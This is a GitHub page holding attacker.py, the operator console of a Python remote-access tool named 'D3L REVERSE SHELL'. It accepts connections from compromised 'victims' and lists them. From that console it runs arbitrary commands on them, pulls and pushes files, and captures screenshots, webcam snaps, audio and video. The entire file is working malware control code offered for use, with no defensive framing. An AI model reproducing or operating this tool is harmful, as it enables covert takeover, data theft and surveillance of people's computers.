-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathattacker.py
More file actions
450 lines (364 loc) · 10.2 KB
/
attacker.py
File metadata and controls
450 lines (364 loc) · 10.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
# Reverse Shell
# Plane version 2.0
# Author: Edilmar Castones Lulab
# Attacker
import threading
import socket
import time
import requests
import json
import os
from queue import Queue
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
def socket_create():
try:
global host
global port
global s
host = ''
port = 1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as msg:
print("Socket Creation Error: " + str(msg))
def socket_bind():
try:
global host
global port
global s
print('\nBinding Socket to Port: ' + str(port))
s.bind((host,port))
s.listen(5)
except socket.error as msg:
print('Socket Binding Error: ' + str(msg))
time.sleep(3)
socket_bind()
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:]
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1)
all_connections.append(conn)
all_addresses.append(address)
print('\nConnection as Been Stablished: ' + address[0])
except:
print('Error Accepting Connections')
def start_turtle():
time.sleep(3)
while True:
cmd = input('Exploit> ')
if cmd == '':
pass
elif cmd == 'clear':
os.system('cls')
elif cmd == 'list':
print()
list_connections()
elif cmd == 'restart':
icon()
print()
elif cmd == 'shutdown':
queue.task_done()
print('Server shutdown')
break
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print('Command not recognized')
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += ' ' + str(i) + ' ' + str(all_addresses[i][0]) + ' ' + str(all_addresses[i][1]) + '\n'
print('--------=[ CONNECTED VICTIMS ]=------------' + '\n' + results)
def get_target(cmd):
try:
target = cmd.replace('select ', '')
target = int(target)
conn = all_connections[target]
conn.send(str.encode('connected_1284', 'utf-8'))
client_response = str(conn.recv(20480), 'utf-8')
print('You are now connected to ' + str(all_addresses[target][0]) + '\n')
print(client_response, end='')
return conn
except:
print('Not a valid selection')
return None
def send_target_commands(conn):
while True:
try:
cmd = input()
if len(str.encode(cmd)) > 0:
# Download File From Victim
if cmd[0:8] == 'download':
download(cmd,conn)
# Upload File From Victim
elif cmd[0:6] == 'upload':
upload(cmd,conn)
# Screenshot
elif cmd[0:10] == 'screenshot':
screenshot(cmd,conn)
# Camera
elif cmd[0:6] == 'camera':
camera(cmd,conn)
# Voice Record
elif cmd[0:9] == 'video_rec':
video_record(cmd,conn)
# Voice Record
elif cmd[0:9] == 'voice_rec':
voice_record(cmd,conn)
# Clear Screen
elif cmd == 'clear':
clear(cmd,conn)
# Quit Session
elif cmd == 'quit':
break
else:
# Send Other Commands
conn.send(str.encode(cmd))
client_response = str(conn.recv(9000000), 'utf-8')
print(client_response, end='')
if cmd == '':
conn.send(str.encode('nosent_1486'))
client_response = str(conn.recv(9000000), 'utf-8')
print(client_response, end='')
except Exception as msg:
print('Connection was lost: ' + str(msg))
break
def download(cmd,conn):
file_Name = cmd[9:]
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
if client_response == 'FILE FOUND':
print()
print(' [!] FILE FOUND')
f = open(file_Name, 'wb')
file_Size = str(conn.recv(1024), 'utf-8')
time.sleep(1)
print(' [*] File Name: ' + str(file_Name))
print(' [*] File Size: ' + str(file_Size))
print(' [!] Downloading...')
data = conn.recv(int(20480))
while not ('COMPLETE' in str(data)):
f.write(data)
data = conn.recv(20480)
f.close()
print(' [!] DOWNLOADING COMPLETE')
print()
conn.send(str.encode('DOWNLOAD COMPLETE', 'utf-8'))
else:
print()
print(' [!] FILE NOT FOUND')
print(' [*] Please Try Again')
print()
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
def upload(cmd,conn):
file_Name = cmd[7:]
if (os.path.exists(file_Name)):
file_Size = os.path.getsize(file_Name)
conn.send(str.encode(cmd))
time.sleep(1)
print()
print(' [!] FILE FOUND')
print(' [!] Uploading: ' + file_Name)
print(' [*] File Size: ' + str(file_Size))
print(' [!] Uploading...')
conn.send(str.encode(str(file_Size), 'utf-8'))
time.sleep(1)
f = open(file_Name, 'rb')
data = f.read(20480)
while data:
conn.send(data)
data = f.read(20480)
time.sleep(1)
conn.send(str.encode('COMPLETE'))
f.close()
client_response = str(conn.recv(20480), 'utf-8')
if client_response == 'upload_complete_1243':
print(' [!] UPLOADING COMPLETE')
print()
else:
conn.send(str.encode('upload not found 59269164', 'utf-8'))
print()
print(' [!] FILE NOT FOUND')
print(' [*] Please Try Again')
print()
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
def screenshot(cmd,conn):
file_Name = cmd[11:]
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024),'utf-8')
if client_response == 'CAPTURING_SCREEN':
print()
print(' [!] SCREENSHOT')
f = open(file_Name, 'wb')
file_Size = str(conn.recv(1024), 'utf-8')
print(' [*] File Name: ' + str(file_Name))
print(' [*] File Size: ' + str(file_Size))
print(' [!] Downloading Screenshot...')
data = conn.recv(int(20480))
while not ('COMPLETE' in str(data)):
f.write(data)
data = conn.recv(20480)
f.close()
print(' [!] SCREENSHOT COMPLETE')
print()
time.sleep(1)
os.system(file_Name)
conn.send(str.encode('SCREENSHOT COMPLETE', 'utf-8'))
else:
print()
print(' [!] SCREENSHOT FAILED: ' + client_response )
print(' [*] Please Try Again')
print()
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
def camera(cmd,conn):
file_Name = cmd[7:]
print()
print(' [!] CAMERA SNAP')
print(' [*] File Name: ' + str(file_Name))
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
if client_response == 'CAPTURING_CAMERA':
f = open(file_Name, 'wb')
file_Size = str(conn.recv(1024), 'utf-8')
print(' [*] File Size: ' + str(file_Size))
print(' [!] Downloading Camsnap...')
data = conn.recv(int(20480))
while not ('COMPLETE' in str(data)):
f.write(data)
data = conn.recv(20480)
f.close()
print(' [!] CAMSNAP COMPLETE')
print()
time.sleep(1)
os.system(file_Name)
conn.send(str.encode('CAMSNAP COMPLETE', 'utf-8'))
else:
print()
print(' [!] CAMSNAP FAILED')
print(' [*] Please Try Again')
print()
client_response = str(conn.recv(20480),'utf-8')
print(client_response, end='')
def voice_record(cmd,conn):
file_Name = 'AudioRecord.wav'
duration = cmd[10:]
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
if client_response == 'VOICE_RECORDING':
print()
print(' [!] VOICE RECORD')
print(' [!] Recording, Please wait for: ' + duration + ' sec')
f = open(file_Name, 'wb')
file_Size = str(conn.recv(1024), 'utf-8')
print(' [*] File Name: ' + str(file_Name))
print(' [*] File Size: ' + str(file_Size))
print(' [!] Downloading Voice Record...')
data = conn.recv(int(20480))
while not ('COMPLETE' in str(data)):
f.write(data)
data = conn.recv(20480)
f.close()
print(' [!] DOWNLOADING VOICE RECORD COMPLETE')
print()
conn.send(str.encode('VOICE RECORD COMPLETE', 'utf-8'))
else:
print()
print(' [!] VOICE RECORD FAILED: ' + client_response )
print(' [*] Please Try Again')
print()
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
def video_record(cmd,conn):
file_Name = 'VideoRecord.avi'
duration = cmd[10:]
conn.send(str.encode(cmd))
print()
print(' [!] VIDEO RECORD')
print(' [!] Recording, Please wait for: ' + duration + ' sec')
client_response = str(conn.recv(20480), 'utf-8')
if client_response == 'VIDEO_RECORDING':
f = open(file_Name, 'wb')
file_Size = str(conn.recv(1024), 'utf-8')
print(' [*] File Name: ' + str(file_Name))
print(' [*] File Size: ' + str(file_Size))
print(' [!] Downloading Video Record...')
data = conn.recv(int(20480))
while not ('COMPLETE' in str(data)):
f.write(data)
data = conn.recv(20480)
f.close()
print(' [!] DOWNLOADING VIDEO RECORD COMPLETE')
print()
conn.send(str.encode('VIDEO RECORD COMPLETE', 'utf-8'))
else:
print()
print(' [!] VIDEO RECORD FAILED')
print(' [*] Please Try Again')
print()
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
def clear(cmd,conn):
conn.send(str.encode(cmd))
os.system('cls')
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
def create_workers():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True
t.start()
def work():
while True:
x = queue.get()
if x==1:
socket_create()
socket_bind()
accept_connections()
if x==2:
start_turtle()
queue.task_done()
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join()
def restart():
icon()
def icon():
os.system('cls')
print()
print(' DDDDDDDCDDD 33333333333 L ')
print(' DDD DDD 33 3333 LL ')
print(' DDD DDD 3 3333 LLL ')
print(' DDD DDDD 3333 LLL ')
print(' DDD DDDD 333333333 LLL ')
print(' DDD DDDD 3333 LLL ')
print(' DDD DDDD 3333 LLL L ')
print(' DDD DDD 3 3333 LLL LL ')
print(' DDD DDD 33 3333 LLL LLL ')
print(' DDDDDDCDDDD 33333333333 LLLLLLLLLLLLLLL ')
print(' [--------------------------------------------]')
print(' [--------==[[ D3L REVERSE SHELL ]]==---------]')
print(' [--------------------------------------------]')
icon()
create_workers()
create_jobs()